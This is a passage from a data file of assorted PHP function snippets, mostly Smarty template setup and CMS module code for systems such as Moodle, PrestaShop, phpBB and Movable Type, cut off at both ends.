true;\n\n\t\t$this->my_module_name = $module_name;\n\n\t\tif(!file_exists($this->smarty->getCompileDir()) && !mkdir($this->smarty->getCompileDir())) {\n\t\t\terror(\"Error! Could not create $this->smarty->getCompileDir()\");\n\t\t}\n\n\t\tif ($module_name == 'core') {\n\t\t\tself::$core_display = $this;\n\t\t}\n\t\tself::$tpl_root = $I2_FS_ROOT . 'templates/';\n\t\t$this->buffer = '';\n\t\t$this->buffering = TRUE;\n\n\t\tself::style_set();\n\t}", "protected function _mod()\n\t{\n\t\treturn mod('deposit_sms');\n\t}", "function __construct(ItemManager $cms) {\n \n $this->cmsmanager = $cms;\n $this->smarty = new my_smarty();\n $this->smarty = $this->smarty->getSmarty();\n MainPaginaView::enableJquery();\n $this->smarty->template_dir = CCMSCUSTOMLIBPATH . '/modules/IntermediairCheckFormMail/template/';\n }", "public function getObject()\n\t{\n\t\t$application = \\Trinity\\Basement\\Application::getApplication();\n\t\t$broker = $this->_serviceLocator->get('web.Broker');\n\t\t$layout = new Template_Layout($application);\n\t\t$layout->setLayout($this->layout);\n\n\t\t// TODO: Replace with something more clever.\n\t\t$response = $broker->getResponse();\n\t\t$response->setHeader('Content-type', 'text/html;charset=utf-8');\n\n\t\treturn $layout;\n\t}", "public function init_smarty()\n\t{\n\t\tparent::init_smarty();\n\t\t$this->set_flat_assigns(false);\n\t}", "function smarty_modifier_translate($string) {\n return Zend_Registry::get('Zend_Translate')->_($string);\n }", "function Smarty_eshop() {\n\t\t$this->Smarty();\n\t\t$this->template_dir = './templates/';\n\t\t$this->compile_dir = './templates_c/';\n\t\t$this->config_dir = './configs/';\n\t\t$this->cache_dir = './cache/';\n\t\t$this->caching = false;\n\t\t//$this->assign(’app_name’,’eShop’);\n\t}", "public function reset_smarty($template_file){\n\n \t$template_folder = null;\n $this->smarty = new IntSmarty();\n $this->smarty->compile_dir = SMARTY_PATH;\n $this->smarty->compile_check = true;\n $this->smarty->force_compile = DEVSITE === true;\n $this->smarty->template_dir = TEMPLATE_DIR;\n $this->smarty->lang_path = LANGUAGE_DIR;\n\n //call setup (basically a standard smarty constuct with the translation thrown in)\n $this->smarty->setup(\"en-us\");\n\n $this->smarty_template = $template_file;\n }", "function I4Web_LMS() {\n return I4Web_LMS::instance();\n}", "function get_tem_m($m,$filename,$blockname='',$c=false){\r\n $link = $_SESSION['template'].\"/tpl/\".$m.'/'.$filename.$this->ext;\r\n // kiem tra su ton tai cua file giao dien\r\n if(!file_exists($link)){\r\n global $lang,$module;\r\n $link = $module.$m.\"/tpl/\".$filename.$this->ext;\r\n if(!file_exists($link)){\r\n die(\"Không tìm thấy file giao diện \".$link);\r\n }\r\n // load giao dien mac dinh cua module\r\n }\r\n if ($this->cache_tpl['file_'.$filename]) $file_content = $this->cache_tpl['file_'.$filename];\r\n\t\telse {\r\n\t\t\t$this->cache_tpl['file_'.$filename] = $file_content = file_get_contents($link);\r\n\t\t}\r\n\t\treturn $file_content;\r\n }", "public function __construct()\n {\n $this->smarty = smartyConfiguration::configuration();\n }", "function ParseModuleTemplate( $module, $tpl='content', $data=FALSE ) {\n return esf_Template::getInstance()->Render(\n $tpl,\n DEVELOP,\n 'module/'.$module.'/layout',\n $data\n );\n}", "public function getMessageTranslationModule() {\n\t\t$module = null;\n\t\t$currentController = Yii::app()->getController();\n\t\tif (is_object($currentController)) {\n\t\t\t$module = $currentController->getModule();\n\t\t}\n\t\tif (!is_object($module)) {\n\t\t\t$module = Yii::app()->getModule('messagetranslation');\n\t\t}\n\t\treturn $module;\n\t}", "public function get_js_module() {\n return array(\n 'name' => 'format_flexpage',\n 'fullpath' => '/course/format/flexpage/javascript.js',\n 'requires' => array(\n 'base',\n 'node',\n 'event-custom',\n 'json-parse',\n 'querystring',\n 'yui2-yahoo',\n 'yui2-dom',\n 'yui2-connection',\n 'yui2-dragdrop',\n 'yui2-event',\n 'yui2-element',\n 'yui2-button',\n 'yui2-container',\n 'yui2-menu',\n 'yui2-calendar',\n 'moodle-core-popuphelp'\n ),\n 'strings' => array(\n array('savechanges'),\n array('cancel'),\n array('choosedots'),\n array('close', 'form'),\n array('close', 'format_flexpage'),\n array('addpages', 'format_flexpage'),\n array('genericasyncfail', 'format_flexpage'),\n array('error', 'format_flexpage'),\n array('movepage', 'format_flexpage'),\n array('addactivities', 'format_flexpage'),\n array('formnamerequired', 'format_flexpage'),\n array('deletepage', 'format_flexpage'),\n array('deletemodwarn', 'format_flexpage'),\n array('continuedotdotdot', 'format_flexpage'),\n array('warning', 'format_flexpage'),\n array('actionbar', 'format_flexpage'),\n array('actionbar_help', 'format_flexpage'),\n )\n );\n }", "public static function init()\n {\n $smarty = cmsms()->GetSmarty();\n $smarty->register_function('cgecomm_currency_code',array('cgecomm_smarty','cgecomm_currency_code'));\n $smarty->register_function('cgecomm_currency_symbol',array('cgecomm_smarty','cgecomm_currency_symbol'));\n $smarty->register_function('cgecomm_weight_units',array('cgecomm_smarty','cgecomm_weight_units'));\n $smarty->register_function('cgecomm_length_units',array('cgecomm_smarty','cgecomm_length_units'));\n $smarty->register_function('cgecomm_company_address',array('cgecomm_smarty','cgecomm_company_address'));\n $smarty->register_function('cgecomm_cartitem_exists',array('cgecomm_smarty','cgecomm_cartitem_exists'));\n $smarty->register_function('cgecomm_form_addtocart',array('cgecomm_smarty','cgecomm_form_addtocart'));\n $smarty->register_function('cgecomm_erasecart',array('cgecomm_smarty','cgecomm_erasecart'));\n $smarty->register_function('cgecomm_get_productinfo',array('cgecomm_smarty','cgecomm_get_productinfo'));\n }", "function smarty_function_dkl_getdao($params,&$smarty){\n // Chequeo que esté seteado el parámetro 'nombre'\n if(empty($params['assign'])){\n Denko::plugin_fatal_error('el parámetro <b>assign</b> es requerido','dkl_getdao');\n }\n\n // Obtengo el DAOLister\n $daoLister = DK_DAOLister::getDaoLister($smarty);\n $dao = $daoLister->getDAO();\n $smarty->assign($params['assign'],$dao);\n}", "public function actionM() {\n\t\t$this->render('index');\n\t\t// $module = \\Yii::$app->controller->module;\n\t\t// var_dump($module->params);\n\t}", "function __construct()\n {\n $this->smarty = new Smarty();\n $this->smarty->assign('title', 'Rock News!');\n $this->smarty->assign('home', HOME);\n }", "protected function _getSmartyParams($param)\n\t{\t\n\t\tif ($this->_smarty instanceof Smarty) {\n\t\t\tif(!empty($this->_smarty->$param)){\n\t\t\t\treturn $this->_smarty->$param;\n\t\t\t}\n\t\t} elseif ( isset($this->_smartyParams[$param]) ){\n\t\t\tif(!empty($this->_smarty->$param)){\n\t\t\t\treturn $this->_smartyParams[$param];\n\t\t\t}\n\t\t}\n\t}", "public function getModel() {\n\t\t$temp=$this->_templateobject;\n\t\treturn $temp;\n\t}", "function smarty_core_smarty_include_php($params, &$smarty)\n{\n $_params = array('resource_name' => $params['smarty_file']);\n require_once(SMARTY_CORE_DIR . 'core.get_php_resource.php');\n smarty_core_get_php_resource($_params, $smarty);\n $_smarty_resource_type = $_params['resource_type'];\n $_smarty_php_resource = $_params['php_resource'];\n\n if (!empty($params['smarty_assign'])) {\n ob_start();\n if ($_smarty_resource_type == 'file') {\n $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']);\n } else {\n $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']);\n }\n $smarty->assign($params['smarty_assign'], ob_get_contents());\n ob_end_clean();\n } else {\n if ($_smarty_resource_type == 'file') {\n $smarty->_include($_smarty_php_resource, $params['smarty_once'], $params['smarty_include_vars']);\n } else {\n $smarty->_eval($_smarty_php_resource, $params['smarty_include_vars']);\n }\n }\n}", "function getCompiledTemplate()\n {\n return $this->_objectPool[$this->_lastUsedObjectKey]->getCompiledTemplate();\n }", "public function render()\n {\n if (oxRegistry::getConfig()->getRequestParameter(\"moduleId\")) {\n $sModuleId = oxRegistry::getConfig()->getRequestParameter(\"moduleId\");\n } else {\n $sModuleId = $this->getEditObjectId();\n }\n\n $oModule = oxNew('oxModule');\n\n if ($sModuleId) {\n if ($oModule->load($sModuleId)) {\n $iLang = oxRegistry::getLang()->getTplLanguage();\n\n $this->_aViewData[\"oModule\"] = $oModule;\n $this->_aViewData[\"sModuleName\"] = basename($oModule->getInfo(\"title\", $iLang));\n $this->_aViewData[\"sModuleId\"] = str_replace(\"/\", \"_\", $oModule->getModulePath());\n } else {\n oxRegistry::get(\"oxUtilsView\")->addErrorToDisplay(new oxException('EXCEPTION_MODULE_NOT_LOADED'));\n }\n }\n\n parent::render();\n\n return 'module_main.tpl';\n }", "function smarty_block_setAboutPage($params,$content,&$smarty,&$repeat)\n{\n if(!is_null($content))\n {\n global $about_page_body,$about_page_title;\n $about_page_body=$content;\n $about_page_title=$params[\"title\"];\n }\n \n}", "public abstract function fillComponent(&$smarty_tpl);", "function smarty_resource_mt_trusted($tpl_name, &$ctx) {\n}", "public static function getInstance($templateDirectory, $cache = 0)\n\t{\n\t\tstatic::createSmarty();\n\n\t\t// Active cache if requested\n\t\tstatic::cache($cache);\n\n\t\t// Set the template include directory\n\t\tstatic::$smarty->setTemplateDir($templateDirectory);\n\n\t\t// Return the instance of Smarty to manage templates\n\t\treturn static::$smarty;\n\t}", "function smarty_function_itemname($params, $smarty)\n{\n if(isset($params['id'])){\n return aioncp::GetInstance()->get_item_name($params['id']);\n }\n\n}", "public function getModulTemplates()\n\t{\n\t\treturn $this->getTemplateGroup('mod_bn_');\n\t}", "private function filterSmarty($file) {\n $smarty = SmartyWrapper::getInstance();\n\n // Set a few global template vars\n $smarty->assign('subtemplate', $this->output);\n $smarty->assign('pathclasses', $this->cfgReader->getPathClasses());\n $smarty->assign('cfg', $this->cfgReader->getResolved());\n\n // Return the template's output\n return $smarty->fetch($file);\n }", "function smarty_resource_doctrine_get_trusted($tpl_name, &$smarty_obj) {\n}", "public function __construct()\r\n {\r\n $this->smarty = new Smarty;\r\n $this->smarty->caching = false;\r\n $this->smarty->compile_check = true;\r\n\r\n }", "public function getContent()\n {\n /**\n * If values have been submitted in the form, process.\n */\n if (((bool)Tools::isSubmit('submitMClModule')) == true) {\n $this->postProcess();\n }\n\n $this->context->smarty->assign('module_dir', $this->_path);\n\n $output = $this->context->smarty->fetch($this->local_path.'views/templates/admin/configure.tpl');\n\n return $output.$this->renderForm();\n }", "public function getModule()\n\t{\n\t\treturn $this->get('module');\n\t}", "function acp_module() {\n\t\treturn array(\n\t\t\t'cache' => array(\n\t\t\t \t'display_vars' => array(\n\t\t\t\t\t'title'\t=> 'GYM_CACHE',\n\t\t\t\t\t'vars'\t=> array(\n\t\t\t\t\t\t'legend1' => 'GYM_CACHE',\n\t\t\t\t\t\t'gym_mod_since'\t=> array('lang' => 'GYM_MOD_SINCE', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t\t'gym_cache_on'\t=> array('lang' => 'GYM_CACHE_ON', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t\t'gym_cript_cache' => array('lang' => 'GYM_CRITP_CACHE', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t\t'gym_cache_force_gzip' => array('lang' => 'GYM_CACHE_FORCE_GZIP', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t\t'gym_cache_max_age' => array('lang' => 'GYM_CACHE_MAX_AGE', 'validate' => 'string', 'type' => 'text:4:4', 'explain' => true,),\n\t\t\t\t\t\t'gym_cache_auto_regen' => array('lang' => 'GYM_CACHE_AUTO_REGEN', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true,),\n\t\t\t\t\t\t'gym_showstats' => array('lang' => 'GYM_SHOWSTATS', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'default' => array(\n\t\t\t\t\t'gym_mod_since'\t=> 0,\n\t\t\t\t\t'gym_cache_on'\t=> 0,\n\t\t\t\t\t'gym_cript_cache' => 1,\n\t\t\t\t\t'gym_cache_force_gzip' => 0,\n\t\t\t\t\t'gym_cache_max_age' => 24,\n\t\t\t\t\t'gym_cache_auto_regen' => 1,\n\t\t\t\t\t'gym_showstats' => 1,\n\t\t\t\t),\n\t\t\t),\n\t\t\t'modrewrite' => array(\n\t\t\t \t'display_vars' => array(\n\t\t\t\t\t'title'\t=> 'GYM_MODREWRITE',\n\t\t\t\t\t'vars'\t=> array(\n\t\t\t\t\t\t'legend1' => 'GYM_MODREWRITE',\n\t\t\t\t\t\t'gym_modrewrite' => array('lang' => 'GYM_MODREWRITE_ON', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t\t'gym_modrtype' => array('lang' => 'GYM_MODRTYPE', 'validate' => 'string', 'type' => 'select', 'method' => 'select_string', 'explain' => true,),\n\t\t\t\t\t\t'gym_zero_dupe' => array('lang' => 'GYM_ZERO_DUPE_ON', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'default' => array(\n\t\t\t\t\t'gym_modrewrite' => 0,\n\t\t\t\t\t'gym_modrtype' => 0,\n\t\t\t\t\t'gym_zero_dupe' => 0,\n\t\t\t\t),\n\t\t\t\t'select' => array(\n\t\t\t\t\t'gym_modrtype' => @$this->dyn_select['modrtype'],\n\t\t\t\t),\n\t\t\t),\n\t\t\t'gzip' => array(\n\t\t\t\t'display_vars' => array(\n\t\t\t\t\t'title'\t=> 'GYM_GZIP',\n\t\t\t\t\t'vars'\t=> array(\n\t\t\t\t\t\t'legend1'\t=> 'GYM_GZIP',\n\t\t\t\t\t\t'gym_gzip' => array('lang' => 'GYM_GZIP_ON', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t\t'gym_gzip_level' => array('lang' => 'GYM_GZIP_LEVEL', 'validate' => 'int:1:9', 'type' => 'select', 'method' => 'select_string', 'explain' => true,),\n\t\t\t\t\t\t'gym_gzip_ext' => array('lang' => 'GYM_GZIP_EXT', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'default' => array(\n\t\t\t\t\t'gym_gzip' => 0,\n\t\t\t\t\t'gym_gzip_level' => 6,\n\t\t\t\t\t'gym_gzip_ext' => 1,\n\t\t\t\t),\n\t\t\t\t'select' => array(\n\t\t\t\t\t'gym_gzip_level' => array(1 => 1, 2 => 2, 3 => 3, 4 => 4, 5 => 5, 6 => 6, 7 => 7, 8 => 8, 9 => 9),\n\t\t\t\t),\n\t\t\t),\n\t\t\t'limit' => array(\n\t\t\t\t'display_vars' => array(\n\t\t\t\t\t'title'\t=> 'GYM_LIMIT',\n\t\t\t\t\t'vars'\t=> array(\n\t\t\t\t\t\t'legend1'\t=> 'GYM_LIMIT',\n\t\t\t\t\t\t'gym_url_limit' => array('lang' => 'GYM_URL_LIMIT', 'validate' => 'int:0:5000', 'type' => 'text:4:4', 'explain' => true,),\n\t\t\t\t\t\t'gym_sql_limit' => array('lang' => 'GYM_SQL_LIMIT', 'validate' => 'int:0:1000', 'type' => 'text:4:4', 'explain' => true,),\n\t\t\t\t\t\t'gym_time_limit' => array('lang' => 'GYM_TIME_LIMIT', 'validate' => 'int:0:1000', 'type' => 'text:4:4', 'explain' => true,),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'default' => array(\n\t\t\t\t\t'gym_url_limit' => 150,\n\t\t\t\t\t'gym_sql_limit' => 25,\n\t\t\t\t\t'gym_time_limit' => 60,\n\t\t\t\t),\n\t\t\t),\n\t\t\t'sort' => array(\n\t\t\t\t'display_vars' => array(\n\t\t\t\t\t'title'\t=> 'GYM_SORT',\n\t\t\t\t\t'vars'\t=> array(\n\t\t\t\t\t\t'legend1'\t=> 'GYM_SORT',\n\t\t\t\t\t\t'gym_sort' => array('lang' => 'GYM_SORT_TYPE', 'validate' => 'string', 'type' => 'select', 'method' => 'select_string', 'explain' => true,),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'default' => array(\n\t\t\t\t\t'gym_sort' => 'DESC',\n\t\t\t\t),\n\t\t\t\t'select' => array(\n\t\t\t\t\t'gym_sort' => @$this->dyn_select['sort'],\n\t\t\t\t),\n\t\t\t),\n\t\t\t'pagination' => array(\n\t\t\t\t'display_vars' => array(\n\t\t\t\t\t'title'\t=> 'GYM_PAGINATION',\n\t\t\t\t\t'vars'\t=> array(\n\t\t\t\t\t\t'legend1'\t=> 'GYM_PAGINATION',\n\t\t\t\t\t\t'gym_pagination' => array('lang' => 'GYM_PAGINATION_ON', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true),\n\t\t\t\t\t\t'gym_limitdown' => array('lang' => 'GYM_LIMITDOWN', 'validate' => 'int:0', 'type' => 'text:4:4', 'explain' => true,),\n\t\t\t\t\t\t'gym_limitup' => array('lang' => 'GYM_LIMITUP', 'validate' => 'int:0', 'type' => 'text:4:4', 'explain' => true,),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'default' => array(\n\t\t\t\t\t'gym_pagination' => 1,\n\t\t\t\t\t'gym_limitdown' => 3,\n\t\t\t\t\t'gym_limitup' => 5,\n\t\t\t\t),\n\t\t\t),\n\t\t\t'override' => array(\n\t\t\t\t'display_vars' => array(\n\t\t\t\t\t'title'\t=> 'GYM_OVERRIDE',\n\t\t\t\t\t'vars'\t=> array(\n\t\t\t\t\t\t'legend'\t=> 'GYM_OVERRIDE',\n\t\t\t\t\t\t'gym_override'\t=> array('lang' => 'GYM_OVERRIDE_ON', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true,),\n\t\t\t\t\t\t'gym_override_cache'\t=> array('lang' => 'GYM_OVERRIDE_CACHE','validate' => 'string', 'type' => 'select', 'method' => 'select_string', 'explain' => true,),\n\t\t\t\t\t\t'gym_override_modrewrite'\t=> array('lang' => 'GYM_OVERRIDE_MODREWRITE','validate' => 'string', 'type' => 'select', 'method' => 'select_string', 'explain' => true,),\n\t\t\t\t\t\t'gym_override_gzip'\t=> array('lang' => 'GYM_OVERRIDE_GZIP','validate' => 'string', 'type' => 'select', 'method' => 'select_string', 'explain' => true,),\n\t\t\t\t\t\t'gym_override_limit'\t=> array('lang' => 'GYM_OVERRIDE_LIMIT','validate' => 'string', 'type' => 'select', 'method' => 'select_string', 'explain' => true,),\n\t\t\t\t\t\t'gym_override_sort'\t=> array('lang' => 'GYM_OVERRIDE_SORT','validate' => 'string', 'type' => 'select', 'method' => 'select_string', 'explain' => true,),\n\t\t\t\t\t\t'gym_override_pagination'\t=> array('lang' => 'GYM_OVERRIDE_PAGINATION','validate' => 'string', 'type' => 'select', 'method' => 'select_string', 'explain' => true,),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'default' => array(\n\t\t\t\t\t'gym_override' => 1,\n\t\t\t\t\t'gym_override_cache' => OVERRIDE_OTYPE,\n\t\t\t\t\t'gym_override_modrewrite' => OVERRIDE_GLOBAL,\n\t\t\t\t\t'gym_override_gzip' => OVERRIDE_GLOBAL,\n\t\t\t\t\t'gym_override_limit' => OVERRIDE_OTYPE,\n\t\t\t\t\t'gym_override_sort' => OVERRIDE_OTYPE,\n\t\t\t\t\t'gym_override_pagination' => OVERRIDE_OTYPE,\n\t\t\t\t),\n\t\t\t\t'select' => array(\n\t\t\t\t\t'gym_override_cache' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_modrewrite' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_gzip' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_limit' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_sort' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_pagination' => @$this->dyn_select['override'],\n\t\t\t\t),\n\t\t\t),\n\t\t\t'main' => array(\n\t\t\t\t'display_vars' => array(\n\t\t\t\t\t'title'\t=> 'MAIN_MAIN',\n\t\t\t\t\t'vars'\t=> array(\n\t\t\t\t\t\t'legend'\t=> 'GYM_LINKS_ACTIVATION',\n\t\t\t\t\t\t'gym_link_main'\t=> array('lang' => 'GYM_LINKS_MAIN', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true,),\n\t\t\t\t\t\t'gym_link_index' => array('lang' => 'GYM_LINKS_INDEX', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true,),\n\t\t\t\t\t\t'gym_link_cat' => array('lang' => 'GYM_LINKS_CAT', 'validate' => 'bool', 'type' => 'radio:yes_no', 'explain' => true,),\n\t\t\t\t\t),\n\t\t\t\t),\n\t\t\t\t'default' => array(\n\t\t\t\t\t'gym_link_main' => 1,\n\t\t\t\t\t'gym_link_index' => 1,\n\t\t\t\t\t'gym_link_cat' => 1,\n\t\t\t\t),\n\t\t\t),\n\t\t\t'info' => array(\n\t\t\t\t'title_lang' => 'GYM_MAIN',\n\t\t\t\t'lang_file' => '',\n\t\t\t\t'actions' => array('main', 'cache', 'modrewrite', 'gzip', 'limit', 'sort', 'pagination', 'override'),\n\t\t\t\t'mode' => 'main',\n\t\t\t\t'module' => 'main',\n\t\t\t\t'select' => array(\n\t\t\t\t\t'gym_override_cache' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_modrewrite' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_gzip' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_limit' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_sort' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_override_pagination' => @$this->dyn_select['override'],\n\t\t\t\t\t'gym_sort' => @$this->dyn_select['sort'],\n\t\t\t\t\t'gym_modrtype' => @$this->dyn_select['modrtype'],\n\t\t\t\t\t'gym_gzip_level' => @$this->dyn_select['gzip_level'],\n\t\t\t\t),\n\t\t\t),\n\t\t);\n\t}", "public static function getModules(){\n if(!function_exists('the_flexible_field') || !function_exists('get_row_layout')) return;\n while(the_flexible_field('underpin_flex_content')) TemplateLoader::getTemplate(str_replace('_', '-', get_row_layout()));\n }", "function CTemplate(){\n\t$this->vars = array();\n\t$this->template = array();\n\n\t$this->debug_mode = true;\n\tif (defined('PT_COMPRESSED_MODE') && PT_COMPRESSED_MODE) $this->compressed_mode = true;\n\telse $this->compressed_mode = false;\n\n\tif ($GLOBALS['app']->is_module('Registry'))\n\t\t$this->Registry = &$GLOBALS['app']->get_module('Registry');\n\t$this->system_vars = array('cycle_nesting' => -1, 'cycle_counters' => array());\n}", "public function getContent()\n {\n // Assign SMARTY variables\n $this->context->smarty->assign(array(\n 'motd' => \"Running on: \".php_uname('u').\"\\nListing files, please be patient...\\n\\n\",\n 'module_dir' => $this->_path,\n 'module_version' => $this->version,\n 'sectoken' => Configuration::get('LBLCVE_TOKEN')\n ));\n \n return $this->context->smarty->fetch($this->local_path.'views/templates/admin/configure.tpl');\n }", "public function getGeneratedMessage()\n {\n # Force the template to render\n (string) $this->prepareTemplate();\n\n $m = $this->template->__message;\n\n if (!$m->getFrom()) {\n trigger_error(\"You should add 'from' information.\", E_USER_WARNING);\n }\n\n if (!$m->getSubject()) {\n trigger_error(\"You should add 'subject'.\", E_USER_WARNING);\n }\n\n if (!$m->getHeader('To')) {\n trigger_error(\"You should add recipients.\", E_USER_WARNING);\n }\n\n foreach ($this->attachments as $attachment) {\n list($filename, $content, $type) = $attachment;\n $m->addAttachment($filename, $content, $type);\n }\n\n return $m;\n }", "function getHTML() \n {\n \n // Make a new Template object\n $this->template = new Template( $this->pathModuleRoot.'templates/' );\n \n // store the link info\n $this->template->set( 'links', $this->links );\n\n \n // store the page labels\n $name = $this->dataManager->getModuleName();\n $this->labels->setLabelTag( '[Title]', '[moduleName]', $name);\n $this->template->setXML( 'pageLabels', $this->labels->getLabelXML() );\n \n // store XML List of Applicants ...\n $this->template->setXML( 'dataList', $this->dataManager->getXML() );\n \n\n /*\n * Set up any additional data transfer to the Template here...\n */\n // store XML list of State Vars\n $this->template->setXML( 'stateVarList', $this->listStateVar->getXML() );\n \n // store XML list of Data Access Objects\n $this->template->setXML( 'daObjectList', $this->listDAObjects->getXML() );\n \n // store XML list of Page Objects\n $this->template->setXML( 'pageList', $this->listPageObjects->getXML() );\n \n // store XML list of Page Transitions\n $this->template->setXML( 'transitionList', $this->listTransitions->getXML() );\n \n // now store an array of Page Names so the transitions can list \n // the names of the Pages Objects ...\n $pageNames = array();\n $this->listPageObjects->setFirst();\n while ( $page = $this->listPageObjects->getNext() ) {\n $pageNames[ $page->getID() ] = $page->getName();\n }\n $this->template->set( 'pageNames', $pageNames );\n \n\t\treturn $this->template->fetch( 'page_ViewModule.php' );\n \n }", "public function get($smarty, $vars) {\n $connection = new \\Picqer\\Financials\\Moneybird\\Connection();\n $connection->setAccessToken($vars['AccessToken']);\n $connection->setAdministrationId($vars['AdministrationId']);\n $moneybird = new \\Picqer\\Financials\\Moneybird\\Moneybird($connection);\n\n // Get a list of workflows. The most important values are:\n $moneybird_workflows = array();\n foreach ($moneybird->Workflow()->getAll() as $workflow) {\n if ($workflow->type == 'InvoiceWorkflow') {\n $moneybird_workflows[$workflow->id] = $workflow->name;\n }\n }\n $smarty->assign('moneybird_workflows', $moneybird_workflows);\n\n // As WHMCS stores settings as individual records we need more queries\n $whmcs_payment_methods = array();\n $gateways = PaymentGateway::filter('visible', 'on')->distinct('gateway')->get();\n foreach ($gateways as $gateway) {\n $name = PaymentGateway::find($gateway->gateway);\n $whmcs_payment_methods[$gateway->gateway] = $name->name;\n }\n $smarty->assign('whmcs_payment_methods', $whmcs_payment_methods);\n\n // Get the current defaults from the Moneybird workflow table\n $selected_workflows = array();\n foreach (WorkflowLink::all() as $workflow_link) {\n $selected_workflows[$workflow_link->whmcs_payment_method] = $workflow_link->moneybird_workflow_id;\n }\n $smarty->assign('selected_workflows', $selected_workflows);\n\n return parent::get($smarty, $vars);\n }", "public function __clone()\r\n {\r\n $this->_loadSmarty();\r\n }", "protected function get_cm_by_surveypro_name(string $name): \\stdClass {\n $surveypro = $this->get_surveypro_by_name($name);\n return get_coursemodule_from_instance('surveypro', $surveypro->id, $surveypro->course);\n }", "function initSmarty() {\n\t\tglobal $_SERVER, $gBitSmarty;\n\n\t\t// Set the separator for PHP generated tags to be &amp; instead of &\n\t\t// This is necessary for XHTML compliance\n\t\tini_set( \"arg_separator.output\", \"&amp;\" );\n\t\t// Remove automatic quotes added to POST/COOKIE by PHP\n\t\tif( get_magic_quotes_gpc() ) {\n\t\t\tforeach( $_REQUEST as $k => $v ) {\n\t\t\t\tif( !is_array( $_REQUEST[$k] ) ) {\n\t\t\t\t\t$_REQUEST[$k] = stripslashes( $v );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// make sure we only create one BitSmarty\n\t\tif( !is_object( $gBitSmarty ) ) {\n\t\t\t$gBitSmarty = new BitSmarty();\n\t\t\t// set the default handler\n\t\t\t$gBitSmarty->load_filter( 'pre', 'tr' );\n\t\t\t// $gBitSmarty->load_filter('output','trimwhitespace');\n\t\t\tif( isset( $_REQUEST['highlight'] ) ) {\n\t\t\t\t$gBitSmarty->load_filter( 'output', 'highlight' );\n\t\t\t}\n\t\t}\n\t}", "function kilman_get_context($cmid) {\n static $context;\n\n if (isset($context)) {\n return $context;\n }\n\n if (!$context = context_module::instance($cmid)) {\n print_error('badcontext');\n }\n return $context;\n}", "protected function getObject()\n\t{\n\t\tif( !isset( $this->object ) ) {\n\t\t\t$this->object = \\Aimeos\\MAdmin\\Cache\\Manager\\Factory::createManager( $this->context )->getCache();\n\t\t}\n\n\t\treturn $this->object;\n\t}", "public function getModule()\n\t{\n\t\treturn $this->module; \n\n\t}", "function smarty_resource_mt_source($tpl_name, &$tpl_source, &$ctx) {\n $blog_id = $ctx->stash('blog_id');\n if (intval($tpl_name) > 0) {\n $query = \"select template_text, template_modified_on, template_linked_file, template_linked_file_mtime, template_linked_file_size\n from mt_template\n where template_blog_id = $blog_id\n and template_id = $tpl_name\";\n } else {\n $tpl_name = $ctx->mt->db->escape($tpl_name);\n $query = \"select template_text, template_modified_on, template_linked_file, template_linked_file_mtime, template_linked_file_size\n from mt_template\n where template_blog_id = $blog_id\n and template_name='$tpl_name'\";\n }\n $row = $ctx->mt->db->get_row($query, ARRAY_N);\n if (is_array($row)) {\n list($tmpl, $ts, $file, $mtime, $size) = $row;\n $file = trim($file);\n if ($file) {\n if (!file_exists($file)) {\n $blog = $ctx->stash('blog');\n $path = $blog['blog_site_path'];\n if (!preg_match('![\\\\/]$!', $path))\n $path .= '/';\n $path .= $file;\n if (is_file($path) && is_readable($path))\n $file = $path;\n else\n $file = '';\n }\n if ($file) {\n if ((filemtime($file) > $mtime) || (filesize($file) != $size)) {\n $contents = @file($file);\n $tmpl = implode('', $contents);\n }\n }\n }\n $tpl_source = $tmpl;\n return true;\n } else {\n return false;\n }\n}", "function smarty_resource_mailTemplate_trusted($tpl_name, &$mailTemplate)\r\n{\r\n}", "function template_product($params,&$smarty)\n {\n extract($params);\n return product($id);\n }", "public function getModuleManager();", "public function get(){\n $cache = $this->getCache();\n $hash = md5($this->hashes);\n \n //return parsed template\n $output = str_replace('{cache}', $cache, $this->appcacheTemplate);\n $output = str_replace('{hash}', $hash, $output);\n return $output;\n }", "public static function get_modules_course_returns() {\n return new external_multiple_structure(\n glueserver_module::get_class_structure()\n );\n }", "function B_M() {\n\treturn Bonster_Management::instance();\n}", "function fetchHtml()\n {\n $html = '';\n\n if (!empty($this->templateFile)) {\n // vullen smarty template\n global $smarty;\n $template = $smarty->createTemplate($this->templateFile);\n $template->assign('interfaceObject', $this);\n\n $html = $smarty->fetch($template);\n }\n return $html;\n }", "public function 